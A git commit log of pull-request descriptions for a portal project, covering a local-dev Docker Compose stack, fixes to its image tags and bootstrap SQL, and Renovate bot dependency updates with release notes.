## Summary Verifying the local-dev stack from the host (`docker compose up -d` + `psql ... -c "\du"` / `redis-cli PING`) requires the postgres and redis client binaries on the developer's machine. They were missing from the prereqs table, so `apt install postgresql-client` / `apt install redis-tools` was an implicit step nobody knew to run. Add both to §2's table, with one-line rationale for each. The Docker row is also tightened to point at the actual local-dev stack location ([`infra/local/`](infra/local/)) instead of the placeholder "Postgres + Redis containers" wording from before that recipe existed. `docker compose exec` remains a viable zero-install alternative for developers who prefer not to touch their host. Mentioned only informally — the host-install path is the documented one. ## Test plan - [ ] Fresh-clone a checkout, follow §2 + §3 verbatim, end with a working stack and successful `psql ... -c "\du"` against it. --------- Co-authored-by: Julien Gautier <julien.gautier@apf.asso.fr> Reviewed-on: #61 |
||
|
|
6137486d64 |
fix(infra): grant audit roles to current_user, not hardcoded portal (#60)
## Summary
The bootstrap SQL ended with:
```sql
GRANT audit_owner, audit_writer, audit_reader, audit_archiver TO portal;
```
— hard-coded `portal`. The compose file and `.env.example` both document `POSTGRES_USER` as overridable; any contributor who changed it hit:
```
ERROR: role "portal" does not exist
psql: /docker-entrypoint-initdb.d/01-init.sql:48: ERROR: role "portal" does not exist
```
Replace with `current_user`, which resolves at execution time to whoever is running the init SQL — i.e. the superuser Postgres just created from `POSTGRES_USER`, whatever its name.
## Recovery for anyone hit by the bug
The half-failed init left the postgres-data volume in a partially-initialised state. To reset:
```bash
cd infra/local
docker compose -f dev.compose.yml down -v # wipes the volume
docker compose -f dev.compose.yml up -d # bootstrap re-runs cleanly
```
## Test plan
- [ ] After merge + recovery: `docker compose ps` shows postgres healthy.
- [ ] `psql postgres://<user>:<pwd>@localhost:5432/portal_dev -c "\du"` lists the four `audit_*` roles, and your superuser is "Member of: {audit_owner, audit_writer, audit_reader, audit_archiver}".
- [ ] `psql ... -c "\dn"` shows the `audit` schema.
- [ ] Test with a non-default `POSTGRES_USER` value (set `POSTGRES_USER=apf_portal` in `.env`, wipe volume, re-up) — init still succeeds.
---------
Co-authored-by: Julien Gautier <julien.gautier@apf.asso.fr>
Reviewed-on: #60
|
||
|
|
d5c5c45175 |
fix(infra): correct OTel collector image tag (#59)
## Summary `otel/opentelemetry-collector-contrib:0.115.0` doesn't exist — release 0.115 was published as `0.115.1` only. Same memory-not-Docker-Hub mistake as Jaeger in #58. ``` Error response from daemon: failed to resolve reference "docker.io/otel/opentelemetry-collector-contrib:0.115.0": not found ``` Pin to `0.150.1` (latest stable). The collector's stable-feature backward-compat covers our `otel-collector.yaml` (otlp receiver, batch processor, debug exporter, otlp/jaeger exporter) — no config change needed. Postgres `17.2-alpine`, Redis `7.4-alpine`, pgweb `0.16.2` were verified against Docker Hub at the same time; they're all correct. ## Test plan - [ ] `cd infra/local && docker compose -f dev.compose.yml up -d` — all 3 core services pull and start healthy. - [ ] `--profile observability up -d` adds Jaeger 1.76.0 (after #58). - [ ] `--profile dbtools up -d` adds pgweb 0.16.2. - [ ] `docker compose ps` shows everything healthy. --------- Co-authored-by: Julien Gautier <julien.gautier@apf.asso.fr> Reviewed-on: #59 |
||
|
|
f0372adaae |
fix(infra): correct Jaeger image tag (#58)
## Summary `jaegertracing/all-in-one:1.62` doesn't exist on Docker Hub — I picked it from memory in #57 without verification. Jaeger 1.x publishes only full-semver tags (1.X.Y), not rolling minor (`1.X`) tags. Activating `--profile observability` errored at image-pull time: ``` Error response from daemon: failed to resolve reference "docker.io/jaegertracing/all-in-one:1.62": not found ``` Pin to `1.76.0` (latest stable in the 1.x line, verified against Docker Hub). ## Test plan - [ ] `cd infra/local && docker compose -f dev.compose.yml --profile observability up -d` → all images pull, all services healthy. - [ ] http://localhost:16686 → Jaeger UI loads (empty until the BFF starts emitting traces, which lands in the upcoming **B — Observability foundations** PR). - [ ] Renovate's docker-compose manager picks up future Jaeger 1.x bumps and surfaces them as PRs. --------- Co-authored-by: Julien Gautier <julien.gautier@apf.asso.fr> Reviewed-on: #58 |
||
|
|
0f00d6d93f |
feat(infra): add local-dev Docker Compose stack (#57)
## Summary Bring up Postgres + Redis + OTel Collector in one command so contributors can run the BFF end-to-end without manually wiring each service. Replaces the throwaway `docker run postgres:17-alpine` one-liner that was in `docs/development.md` §3. ### What lands - **`infra/local/dev.compose.yml`** — three core services (`postgres:17.2-alpine`, `redis:7.4-alpine`, `otel/opentelemetry-collector-contrib:0.115.0`) plus two viewers gated behind Compose profiles: - `--profile dbtools` → `sosedoff/pgweb:0.16.2` (Postgres GUI on port 8081) - `--profile observability` → `jaegertracing/all-in-one:1.62` (Jaeger UI on 16686) - All ports overridable via `.env`. State in named volumes. Healthchecks on data services. - **`infra/local/.env.example`** — credentials + ports template. `POSTGRES_PASSWORD` and `REDIS_PASSWORD` are mandatory (compose refuses to boot without them); other keys default sensibly. - **`infra/local/init/postgres/01-init.sql`** — bootstrap SQL per **ADR-0013**: `audit_owner` / `audit_writer` / `audit_reader` / `audit_archiver` roles + `audit` schema. Default privileges encode the append-only contract (INSERT to writer, SELECT to reader, DELETE to archiver, no UPDATE/TRUNCATE to anyone). Applied on first Postgres boot only; documented re-run procedure. - **`infra/local/otel-collector.yaml`** — pipeline: OTLP gRPC/HTTP → batch → debug exporter (always) + forward to `jaeger:4317`. When the observability profile is off, the Jaeger export logs warn-level retries but doesn't block the debug pipeline. ### Surrounding doc updates - **`infra/README.md`** — new "Local-dev stack" section: service inventory, port table, first-time setup walkthrough, persistence/bootstrap-replay tips. The previous `local/` placeholder line is removed. - **`docs/development.md`** §3 — rewritten to walk through the compose-based setup; cross-links to `infra/README.md` for the full reference. Roadmap entry for "Local infra recipe" removed from §8 (now implemented); "Observability dev-loop" line adjusted to point at the new Jaeger profile. ### Out of scope - **Production parity** — HA Postgres, Redis Sentinel, real OTel backend (Tempo / Loki / etc.) — defer to the on-prem infrastructure ADR (phase 3b). The dev-only nature of this stack is called out explicitly in `infra/README.md`. - **Wiring the BFF** to actually use these endpoints (NestJS config, Prisma datasource URL, OTel SDK init) — that's the **B — Observability foundations** chantier, next up. ## Test plan - [ ] `cd infra/local && cp .env.example .env && docker compose -f dev.compose.yml up -d` → all three core services come up healthy; verify with `docker compose ps`. - [ ] `psql postgres://portal:<pwd>@localhost:5432/portal_dev -c "\dn"` shows the `audit` schema; `\dg` shows the four audit roles. - [ ] `redis-cli -a <pwd> PING` → `PONG`. - [ ] Send a fake OTLP trace via grpcurl → see it printed by `docker compose logs otel-collector`. - [ ] `--profile dbtools up -d` → http://localhost:8081 shows pgweb UI, can navigate to the audit schema. - [ ] `--profile observability up -d` → http://localhost:16686 shows Jaeger UI; collector logs no longer report Jaeger export retries. - [ ] `docker compose down -v` cleanly removes everything; next `up -d` re-runs the bootstrap SQL. --------- Co-authored-by: Julien Gautier <julien.gautier@apf.asso.fr> Reviewed-on: #57 |
||
|
|
a93ee16091 |
chore(deps): update dependency lint-staged to v17.0.3 (#55)
This PR contains the following updates: | Package | Type | Update | Change | |---|---|---|---| | [lint-staged](https://github.com/lint-staged/lint-staged) | devDependencies | patch | [`17.0.2` -> `17.0.3`](https://renovatebot.com/diffs/npm/lint-staged/17.0.2/17.0.3) | --- ### Release Notes <details> <summary>lint-staged/lint-staged (lint-staged)</summary> ### [`v17.0.3`](https://github.com/lint-staged/lint-staged/blob/HEAD/CHANGELOG.md#1703) [Compare Source](https://github.com/lint-staged/lint-staged/compare/v17.0.2...v17.0.3) ##### Patch Changes - [#​1782](https://github.com/lint-staged/lint-staged/pull/1782) [`06813f9`](https://github.com/lint-staged/lint-staged/commit/06813f9ab661db987e7720086ef9ec3f552ee097) Thanks [@​iiroj](https://github.com/iiroj)! - Fix *lint-staged* behavior when implicitly committing files without using `git add` by either: - `git commit -am "my commit message"` where `-a` (`--all`) means to automatically stage all tracked modified and deleted files - `git commit -m "my commit message" .` where `.` is an example of a [*pathspec*](https://git-scm.com/docs/git-commit#Documentation/git-commit.txt-pathspec) where matching files will be staged </details> --- ### Configuration 📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined). 🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied. ♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox. 🔕 **Ignore**: Close this PR and you won't be reminded about this update again. --- - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box --- This PR has been generated by [Renovate Bot](https://github.com/renovatebot/renovate). <!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0MC42Mi4xIiwidXBkYXRlZEluVmVyIjoiNDAuNjIuMSIsInRhcmdldEJyYW5jaCI6Im1haW4iLCJsYWJlbHMiOlsiZGVwZW5kZW5jaWVzIl19--> Reviewed-on: #55 Co-authored-by: APF Portal Bot <jgautier.webdev+apf-portal-bot@gmail.com> Co-committed-by: APF Portal Bot <jgautier.webdev+apf-portal-bot@gmail.com> |
||
|
|
8f81b6202e |
chore(ci): add triage guide to Renovate dependency dashboard (#54)
## Summary The Renovate dashboard organises pending updates in standard sections (Open / Awaiting Schedule / Pending Approval / Detected dependencies / …). The section headings alone aren't self-explanatory, so the patch+minor vs major distinction we set up via `dependencyDashboardApproval: true` for majors gets lost in the noise. Add a `dependencyDashboardHeader` markdown block that: - maps each section → the triage action expected (batch-merge / leave alone / read-changelog-then-tick); - re-states the pinned constraints visible right at the top: Prisma majors blocked per ADR-0006, Trivy/gitleaks workflow pins not Renovate-tracked; - cross-links to `docs/development.md` for the full procedure (lighter CI on bot PRs, etc.). ## Test plan - [ ] After merge, trigger Renovate manually (Actions → Renovate → Run workflow). - [ ] The "Renovate Dependency Dashboard" issue body now starts with the triage table; sections below are unchanged. - [ ] Pending major bumps (e.g. anything Renovate now holds for approval) are clearly distinguishable from the patch/minor batch. ## After this PR Triage the dashboard with the new guide; once that wave is digested, on to **A — local infra recipe**. --------- Co-authored-by: Julien Gautier <julien.gautier@apf.asso.fr> Reviewed-on: #54 |
||
|
|
caf730bc40 |
chore(deps): update jest monorepo to v30.4.1 (#53)
This PR contains the following updates: | Package | Type | Update | Change | |---|---|---|---| | [jest](https://jestjs.io/) ([source](https://github.com/jestjs/jest/tree/HEAD/packages/jest)) | devDependencies | minor | [`30.3.0` -> `30.4.1`](https://renovatebot.com/diffs/npm/jest/30.3.0/30.4.1) | | [jest-environment-node](https://github.com/jestjs/jest) ([source](https://github.com/jestjs/jest/tree/HEAD/packages/jest-environment-node)) | devDependencies | minor | [`30.3.0` -> `30.4.1`](https://renovatebot.com/diffs/npm/jest-environment-node/30.3.0/30.4.1) | | [jest-util](https://github.com/jestjs/jest) ([source](https://github.com/jestjs/jest/tree/HEAD/packages/jest-util)) | devDependencies | minor | [`30.3.0` -> `30.4.1`](https://renovatebot.com/diffs/npm/jest-util/30.3.0/30.4.1) | --- ### Release Notes <details> <summary>jestjs/jest (jest)</summary> ### [`v30.4.1`](https://github.com/jestjs/jest/blob/HEAD/CHANGELOG.md#3041) [Compare Source](https://github.com/jestjs/jest/compare/v30.4.0...v30.4.1) ##### Features - `[jest-config, jest-core, jest-runner, jest-schemas, jest-types]` Allow custom runner configuration options via tuple format `['runner-path', {options}]` ([#​16141](https://github.com/jestjs/jest/pull/16141)) ##### Fixes - `[jest-runtime]` Align CJS-from-ESM default export with Node: `module.exports` is always the ESM default, `__esModule` unwrapping is no longer applied ([#​16143](https://github.com/jestjs/jest/pull/16143)) ### [`v30.4.0`](https://github.com/jestjs/jest/blob/HEAD/CHANGELOG.md#3040) [Compare Source](https://github.com/jestjs/jest/compare/v30.3.0...v30.4.0) ##### Features - `[babel-jest]` Support collecting coverage from `.mts`, `.cts` (and other) files ([#​15994](https://github.com/jestjs/jest/pull/15994)) - `[jest-circus, jest-cli, jest-config, jest-core, jest-jasmine2, jest-types]` Add `--collect-tests` flag to discover and list tests without executing them ([#​16006](https://github.com/jestjs/jest/pull/16006)) - `[jest-config, jest-runner, jest-worker]` Add `workerGracefulExitTimeout` config option to control how long workers are given to exit before being force-killed ([#​15984](https://github.com/jestjs/jest/pull/15984)) - `[jest-config]` Add support for `jest.config.mts` as a valid configuration file ([#​16005](https://github.com/jestjs/jest/pull/16005)) - `[jest-config, jest-core, jest-reporters, jest-runner]` `verbose` and `silent` can now be set per-project; the project-level value overrides the global value for that project's tests ([#​16133](https://github.com/jestjs/jest/pull/16133)) - `[@jest/fake-timers]` Accept `Temporal.Duration` in `jest.advanceTimersByTime()` and `jest.advanceTimersByTimeAsync()` ([#​16128](https://github.com/jestjs/jest/pull/16128)) - `[@jest/fake-timers]` Accept `Temporal.Instant` and `Temporal.ZonedDateTime` in `jest.setSystemTime()` and `useFakeTimers({now})` ([#​16128](https://github.com/jestjs/jest/pull/16128)) - `[@jest/fake-timers]` Support faking `Temporal.Now.*` ([#​16131](https://github.com/jestjs/jest/pull/16131)) - `[jest-mock]` Add `clearMocksOnScope(scope)` on `ModuleMocker` for clearing every mock function exposed on a scope object ([#​16088](https://github.com/jestjs/jest/pull/16088)) - `[jest-resolve]` Add `canResolveSync()` on `Resolver` so callers can detect when a user-configured resolver only exports an `async` hook ([#​16064](https://github.com/jestjs/jest/pull/16064)) - `[jest-runtime]` Use synchronous `evaluate()` for ES modules without top-level `await` on Node versions that support it (v24.9+), and prefer the synchronous transform path when a sync transformer is configured ([#​16062](https://github.com/jestjs/jest/pull/16062)) - `[jest-runtime]` Support `require()` of ES modules on Node v24.9+ ([#​16074](https://github.com/jestjs/jest/pull/16074)) - `[jest-runtime]` Validate TC39 import attributes (`with { type: 'json' }`) on ESM imports ([#​16127](https://github.com/jestjs/jest/pull/16127)) - `[@jest/transform]` Add `canTransformSync(filename)` on `ScriptTransformer` so callers can pick the sync vs async transform path ([#​16062](https://github.com/jestjs/jest/pull/16062)) - `[jest-util]` Add `isError` helper ([#​16076](https://github.com/jestjs/jest/pull/16076)) - `[pretty-format]` Support React 19 ([#​16123](https://github.com/jestjs/jest/pull/16123)) ##### Fixes - `[expect-utils]` Fix `toStrictEqual` failing on `structuredClone` results due to cross-realm constructor mismatch ([#​15959](https://github.com/jestjs/jest/pull/15959)) - `[@jest/expect-utils]` Prevent `toMatchObject`/subset matching from throwing when encountering exotic iterables ([#​15952](https://github.com/jestjs/jest/pull/15952)) - `[fake-timers]` Convert `Date` to milliseconds before passing to `@sinonjs/fake-timers` ([#​16029](https://github.com/jestjs/jest/pull/16029)) - `[jest]` Export `GlobalConfig` and `ProjectConfig` TypeScript types ([#​16132](https://github.com/jestjs/jest/pull/16132)) - `[jest-circus]` Prevent crash when `asyncError` is undefined for non-Error throws ([#​16003](https://github.com/jestjs/jest/pull/16003)) - `[jest-circus, jest-jasmine2]` Include `Error.cause` in JSON `failureMessages` output ([#​15967](https://github.com/jestjs/jest/pull/15967)) - `[jest-config]` Fix preset path resolution on Windows when the preset uses subpath `exports` ([#​15961](https://github.com/jestjs/jest/pull/15961)) - `[jest-config]` Allow `collectCoverage` and `coverageProvider` in project config without a validation warning ([#​16132](https://github.com/jestjs/jest/pull/16132)) - `[jest-config]` Project config validator now emits "is not supported in an individual project configuration" instead of "probably a typing mistake" for known global-only options ([#​16132](https://github.com/jestjs/jest/pull/16132)) - `[jest-environment-node]` Fix `--localstorage-file` warning on Node 25+ ([#​16086](https://github.com/jestjs/jest/pull/16086)) - `[jest-reporters]` Apply global coverage threshold to unmatched pattern files in addition to glob/path thresholds ([#​16137](https://github.com/jestjs/jest/pull/16137)) - `[jest-reporters, jest-runner, jest-runtime, jest-transform]` Fix coverage report not showing correct code coverage when using `projects` config option ([#​16140](https://github.com/jestjs/jest/pull/16140)) - `[jest-runtime]` Resolve `expect` and `@jest/expect` from the internal module registry so test-file imports share the same `JestAssertionError` as the global `expect` ([#​16130](https://github.com/jestjs/jest/pull/16130)) - `[jest-runtime]` Improve CJS-from-ESM interop: `__esModule`/Babel default unwrap, broader named-export coverage, and shared CJS singleton across importers ([#​16050](https://github.com/jestjs/jest/pull/16050)) - `[jest-runtime]` Load `.js` files with ESM syntax but no `"type":"module"` marker as native ESM ([#​16050](https://github.com/jestjs/jest/pull/16050)) - `[jest-runtime]` Extend the `.js`-with-ESM-syntax fallback to `require()` on Node v24.9+ - falls back to `require(esm)` when the CJS parser rejects ESM syntax ([#​16078](https://github.com/jestjs/jest/pull/16078)) - `[jest-runtime]` Fix deadlocks and double-evaluation in concurrent ESM and wasm imports ([#​16050](https://github.com/jestjs/jest/pull/16050)) - `[jest-runtime]` Fix error when `require()` is called after the Jest environment has been torn down ([#​15951](https://github.com/jestjs/jest/pull/15951)) - `[jest-runtime]` Fix missing error when `import()` is called after the Jest environment has been torn down ([#​16080](https://github.com/jestjs/jest/pull/16080)) - `[jest-runtime]` Fix virtual `unstable_mockModule` registrations not respected in ESM ([#​16081](https://github.com/jestjs/jest/pull/16081)) - `[jest-runtime]` Apply `moduleNameMapper` when resolving modules with `require.resolve()` and the `paths` option ([#​16135](https://github.com/jestjs/jest/pull/16135)) ##### Chore & Maintenance - `[@jest/fake-timers]` Upgrade `@sinonjs/fake-timers` ([#​16139](https://github.com/jestjs/jest/pull/16139)) - `[jest-runtime]` Use synchronous `linkRequests` / `instantiate` for ESM linking on Node v24.9+ ([#​16063](https://github.com/jestjs/jest/pull/16063)) </details> --- ### Configuration 📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined). 🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied. ♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox. 🔕 **Ignore**: Close this PR and you won't be reminded about these updates again. --- - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box --- This PR has been generated by [Renovate Bot](https://github.com/renovatebot/renovate). <!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0MC42Mi4xIiwidXBkYXRlZEluVmVyIjoiNDAuNjIuMSIsInRhcmdldEJyYW5jaCI6Im1haW4iLCJsYWJlbHMiOlsiZGVwZW5kZW5jaWVzIl19--> Reviewed-on: #53 Co-authored-by: APF Portal Bot <jgautier.webdev+apf-portal-bot@gmail.com> Co-committed-by: APF Portal Bot <jgautier.webdev+apf-portal-bot@gmail.com> |
||
|
|
48e7a72f61 |
chore(deps): update dependency @types/node to v24.12.3 (#52)
This PR contains the following updates: | Package | Type | Update | Change | |---|---|---|---| | [@types/node](https://github.com/DefinitelyTyped/DefinitelyTyped/tree/master/types/node) ([source](https://github.com/DefinitelyTyped/DefinitelyTyped/tree/HEAD/types/node)) | devDependencies | patch | [`24.12.2` -> `24.12.3`](https://renovatebot.com/diffs/npm/@types%2fnode/24.12.2/24.12.3) | --- ### Configuration 📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined). 🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied. ♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox. 🔕 **Ignore**: Close this PR and you won't be reminded about this update again. --- - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box --- This PR has been generated by [Renovate Bot](https://github.com/renovatebot/renovate). <!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0MC42Mi4xIiwidXBkYXRlZEluVmVyIjoiNDAuNjIuMSIsInRhcmdldEJyYW5jaCI6Im1haW4iLCJsYWJlbHMiOlsiZGVwZW5kZW5jaWVzIl19--> Reviewed-on: #52 Co-authored-by: APF Portal Bot <jgautier.webdev+apf-portal-bot@gmail.com> Co-committed-by: APF Portal Bot <jgautier.webdev+apf-portal-bot@gmail.com> |
||
|
|
4739fc4f9b |
fix(deps): update angular to v21.2.10 (#47)
This PR contains the following updates: | Package | Type | Update | Change | |---|---|---|---| | [@angular-devkit/core](https://github.com/angular/angular-cli) | devDependencies | patch | [`21.2.9` -> `21.2.10`](https://renovatebot.com/diffs/npm/@angular-devkit%2fcore/21.2.9/21.2.10) | | [@angular-devkit/schematics](https://github.com/angular/angular-cli) | devDependencies | patch | [`21.2.9` -> `21.2.10`](https://renovatebot.com/diffs/npm/@angular-devkit%2fschematics/21.2.9/21.2.10) | | [@angular/build](https://github.com/angular/angular-cli) | devDependencies | patch | [`21.2.9` -> `21.2.10`](https://renovatebot.com/diffs/npm/@angular%2fbuild/21.2.9/21.2.10) | | [@angular/cli](https://github.com/angular/angular-cli) | devDependencies | patch | [`21.2.9` -> `21.2.10`](https://renovatebot.com/diffs/npm/@angular%2fcli/21.2.9/21.2.10) | | [@angular/common](https://github.com/angular/angular) ([source](https://github.com/angular/angular/tree/HEAD/packages/common)) | dependencies | patch | [`21.2.11` -> `21.2.12`](https://renovatebot.com/diffs/npm/@angular%2fcommon/21.2.11/21.2.12) | | [@angular/compiler](https://github.com/angular/angular) ([source](https://github.com/angular/angular/tree/HEAD/packages/compiler)) | dependencies | patch | [`21.2.11` -> `21.2.12`](https://renovatebot.com/diffs/npm/@angular%2fcompiler/21.2.11/21.2.12) | | [@angular/compiler-cli](https://github.com/angular/angular/tree/main/packages/compiler-cli) ([source](https://github.com/angular/angular/tree/HEAD/packages/compiler-cli)) | devDependencies | patch | [`21.2.11` -> `21.2.12`](https://renovatebot.com/diffs/npm/@angular%2fcompiler-cli/21.2.11/21.2.12) | | [@angular/core](https://github.com/angular/angular) ([source](https://github.com/angular/angular/tree/HEAD/packages/core)) | dependencies | patch | [`21.2.11` -> `21.2.12`](https://renovatebot.com/diffs/npm/@angular%2fcore/21.2.11/21.2.12) | | [@angular/forms](https://github.com/angular/angular) ([source](https://github.com/angular/angular/tree/HEAD/packages/forms)) | dependencies | patch | [`21.2.11` -> `21.2.12`](https://renovatebot.com/diffs/npm/@angular%2fforms/21.2.11/21.2.12) | | [@angular/language-service](https://github.com/angular/angular) ([source](https://github.com/angular/angular/tree/HEAD/packages/language-service)) | devDependencies | patch | [`21.2.11` -> `21.2.12`](https://renovatebot.com/diffs/npm/@angular%2flanguage-service/21.2.11/21.2.12) | | [@angular/platform-browser](https://github.com/angular/angular) ([source](https://github.com/angular/angular/tree/HEAD/packages/platform-browser)) | dependencies | patch | [`21.2.11` -> `21.2.12`](https://renovatebot.com/diffs/npm/@angular%2fplatform-browser/21.2.11/21.2.12) | | [@angular/router](https://github.com/angular/angular/tree/main/packages/router) ([source](https://github.com/angular/angular/tree/HEAD/packages/router)) | dependencies | patch | [`21.2.11` -> `21.2.12`](https://renovatebot.com/diffs/npm/@angular%2frouter/21.2.11/21.2.12) | | [@schematics/angular](https://github.com/angular/angular-cli) | devDependencies | patch | [`21.2.9` -> `21.2.10`](https://renovatebot.com/diffs/npm/@schematics%2fangular/21.2.9/21.2.10) | --- ### Release Notes <details> <summary>angular/angular-cli (@​angular-devkit/core)</summary> ### [`v21.2.10`](https://github.com/angular/angular-cli/blob/HEAD/CHANGELOG.md#21210-2026-05-06) [Compare Source](https://github.com/angular/angular-cli/compare/v21.2.9...v21.2.10) ##### [@​angular/cli](https://github.com/angular/cli) | Commit | Type | Description | | --------------------------------------------------------------------------------------------------- | ---- | ----------------------------------------------------------------------- | | [bb8611913](https://github.com/angular/angular-cli/commit/bb861191328fc2d25bd5ee99b0c8edc5e49d3a7d) | fix | restrict MCP workspace access to allowed client roots during resolution | <!-- CHANGELOG SPLIT MARKER --> </details> <details> <summary>angular/angular (@​angular/common)</summary> ### [`v21.2.12`](https://github.com/angular/angular/blob/HEAD/CHANGELOG.md#21212-2026-05-06) [Compare Source](https://github.com/angular/angular/compare/v21.2.11...v21.2.12) ##### core | Commit | Type | Description | | -- | -- | -- | | [fe13bb669d](https://github.com/angular/angular/commit/fe13bb669d2bfab4713623d17b41c430aa0a61d8) | fix | allow explicit read generic with signal input transforms | | [3430251fef](https://github.com/angular/angular/commit/3430251fef93f6aec1fa9c7867e85df23f67c9a0) | fix | i18n flags leaking on errors | | [1aeebbe304](https://github.com/angular/angular/commit/1aeebbe3048b5aa612dd0a5448de9883ed51e7e8) | fix | respect ngSkipHydration on components with projectable nodes in LContainers | | [9e38ed7d57](https://github.com/angular/angular/commit/9e38ed7d5773a9193ba07afdba3f7a9f2fe02d18) | fix | sanitizer typings | | [7a05a9a71a](https://github.com/angular/angular/commit/7a05a9a71a5ab75042ec5560c01526de6e61e062) | fix | validate security-sensitive attributes in i18n bindings | | [c37f6ca42f](https://github.com/angular/angular/commit/c37f6ca42f263353cb9563fa90d7b31d3c7837ca) | fix | visit ng-let expression value in signal migration schematics | ##### forms | Commit | Type | Description | | -- | -- | -- | | [03ad53863b](https://github.com/angular/angular/commit/03ad53863bf3c368f0f02a4322d4141e8f70f674) | fix | prohibit concurrent submits in signal forms | <!-- CHANGELOG SPLIT MARKER --> </details> --- ### Configuration 📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined). 🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied. ♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox. 🔕 **Ignore**: Close this PR and you won't be reminded about these updates again. --- - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box --- This PR has been generated by [Renovate Bot](https://github.com/renovatebot/renovate). <!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0MC42Mi4xIiwidXBkYXRlZEluVmVyIjoiNDAuNjIuMSIsInRhcmdldEJyYW5jaCI6Im1haW4iLCJsYWJlbHMiOlsiZGVwZW5kZW5jaWVzIl19--> Reviewed-on: #47 Co-authored-by: APF Portal Bot <jgautier.webdev+apf-portal-bot@gmail.com> Co-committed-by: APF Portal Bot <jgautier.webdev+apf-portal-bot@gmail.com> |
||
|
|
0d21129bad |
chore(deps): update dependency vite to v8.0.11 (#46)
This PR contains the following updates: | Package | Type | Update | Change | |---|---|---|---| | [vite](https://vite.dev) ([source](https://github.com/vitejs/vite/tree/HEAD/packages/vite)) | devDependencies | patch | [`8.0.10` -> `8.0.11`](https://renovatebot.com/diffs/npm/vite/8.0.10/8.0.11) | --- ### Release Notes <details> <summary>vitejs/vite (vite)</summary> ### [`v8.0.11`](https://github.com/vitejs/vite/blob/HEAD/packages/vite/CHANGELOG.md#small-8011-2026-05-07-small) [Compare Source](https://github.com/vitejs/vite/compare/v8.0.10...v8.0.11) ##### Features - update rolldown to 1.0.0-rc.18 ([#​22360](https://github.com/vitejs/vite/issues/22360)) ([3f80524](https://github.com/vitejs/vite/commit/3f80524aa1fa40bfa831f1a1bf2641c3979ba396)) ##### Bug Fixes - **deps:** update all non-major dependencies ([#​22334](https://github.com/vitejs/vite/issues/22334)) ([672c962](https://github.com/vitejs/vite/commit/672c96288fd5440bbecddc65551e713edeb8d403)) - **deps:** update all non-major dependencies ([#​22382](https://github.com/vitejs/vite/issues/22382)) ([5c0cfcb](https://github.com/vitejs/vite/commit/5c0cfcb83dde2c6e25b6c3215dd622956bf29631)) - **glob:** align hmr matcher options with glob enumeration ([#​22306](https://github.com/vitejs/vite/issues/22306)) ([30028f9](https://github.com/vitejs/vite/commit/30028f94516fa06dd0212567373169b3b3f6e393)) - make separate object instance for each environment ([#​22276](https://github.com/vitejs/vite/issues/22276)) ([7c2aa3b](https://github.com/vitejs/vite/commit/7c2aa3b40ba00ce1299e4f31932c7929f179a80a)) ##### Documentation - **create-vite:** list react-compiler templates in README ([#​22347](https://github.com/vitejs/vite/issues/22347)) ([7c3a61f](https://github.com/vitejs/vite/commit/7c3a61f42da6445904e93f0e29e9a2a838fa684a)) - explain mergeConfig skips null/undefined ([#​22325](https://github.com/vitejs/vite/issues/22325)) ([2151f70](https://github.com/vitejs/vite/commit/2151f701dc98270c905c540b209fb6d23d53d3ad)) - mention native config loader in CLI options ([#​22348](https://github.com/vitejs/vite/issues/22348)) ([0420c5d](https://github.com/vitejs/vite/commit/0420c5d37b6049476b6e6c16662be372575dd683)) - update evan's x handle ([640202a](https://github.com/vitejs/vite/commit/640202a2167b0c19b94e4d3b8ff87309ae1f44d0)) ##### Miscellaneous Chores - **deps:** update dependency tsdown to ^0.21.10 ([#​22333](https://github.com/vitejs/vite/issues/22333)) ([3b51e05](https://github.com/vitejs/vite/commit/3b51e050214c5a817c163838ab8643fe34c7d0c3)) - **deps:** update rolldown-related dependencies ([#​22383](https://github.com/vitejs/vite/issues/22383)) ([555ff36](https://github.com/vitejs/vite/commit/555ff36de70a43b3b3dc22f958bf78fe75e11d67)) - **deps:** update transitive packages to fix npm audit alerts ([#​22316](https://github.com/vitejs/vite/issues/22316)) ([86aee62](https://github.com/vitejs/vite/commit/86aee6268aa879d74f68a890392c1dee973ebf05)) ##### Code Refactoring - devtools integration ([#​22312](https://github.com/vitejs/vite/issues/22312)) ([3c8bf06](https://github.com/vitejs/vite/commit/3c8bf064ec76e311f2d8be3a37dcfdcdd4e4253c)) - remove unnecessary async ([#​22296](https://github.com/vitejs/vite/issues/22296)) ([b31fd35](https://github.com/vitejs/vite/commit/b31fd355d93eb166573362bd09c07745b9f76755)) - show direct path type in bad character warning ([#​22339](https://github.com/vitejs/vite/issues/22339)) ([0c162e9](https://github.com/vitejs/vite/commit/0c162e96a6545c93808e7338b9adeca2636596fa)) ##### Tests - **create-vite:** use short help alias ([#​22389](https://github.com/vitejs/vite/issues/22389)) ([994ab66](https://github.com/vitejs/vite/commit/994ab66bc4dc872278d8353d710ffc4bbd881f8d)) </details> --- ### Configuration 📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined). 🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied. ♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox. 🔕 **Ignore**: Close this PR and you won't be reminded about this update again. --- - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box --- This PR has been generated by [Renovate Bot](https://github.com/renovatebot/renovate). 